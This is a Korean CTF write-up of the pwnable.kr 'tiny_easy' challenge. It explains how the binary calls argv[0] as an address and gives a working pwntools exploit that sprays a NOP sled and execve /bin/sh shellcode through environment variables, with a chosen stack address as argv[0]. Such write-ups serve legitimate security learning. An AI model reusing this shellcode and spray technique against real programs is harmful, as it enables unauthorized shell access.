본문 바로가기

Pwnable.kr

Pwnable.kr[tiny_easy]

file tiny_easy의 결과값이 간단히 나오고 용량도 상당히 작다.

 

readelf를 이용해서 entrypoint를 확인하고 

 

gdb로 코드를 확인하면

 

pop eax

pop edx

mov edx, DWORT PTR[edx]

call edx

가 전부이고 call edx에서 crash가 나면서 프로그램이 뻗는다. 

 

몇 번 확인해본 결과 edx의 값이 argv[0]으로 들어가는 프로그램 절대 경로이다.

 

절대 경로에다가 스택 값을 주고 

ASLR을 뚫고 스택에 올린 쉘 코드로 점프시키면 쉘을 얻을 수 있다. 

 

조금이라도 쉽게 올라가기 위해 nop sled를 이용한다. 

from pwn import *
payload =  '\x90'*0x1000 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
m_env = {}
m_argv = ['\x77\x77\xdf\xff']
for i in range(1, 10):
    m_env[str(i)] = payload
p = process(executable='/home/tiny_easy/tiny_easy', argv=m_argv ,env=m_env)
p.interactive()

금방 flag를 찾았는데 for문이랑 try catch를 써서 하는 게 더 한방 코드..

 

지적 환영, 배우는 중

'Pwnable.kr' 카테고리의 다른 글

Pwnable.kr[loveletter]  (0) 2019.09.22
Pwnable.kr[fix]  (0) 2019.09.15
Pwnable.kr[echo1]  (0) 2019.09.14
Pwnable.kr[ascii_easy]  (0) 2019.09.14
Pwnable.kr [fsb]  (0) 2019.05.21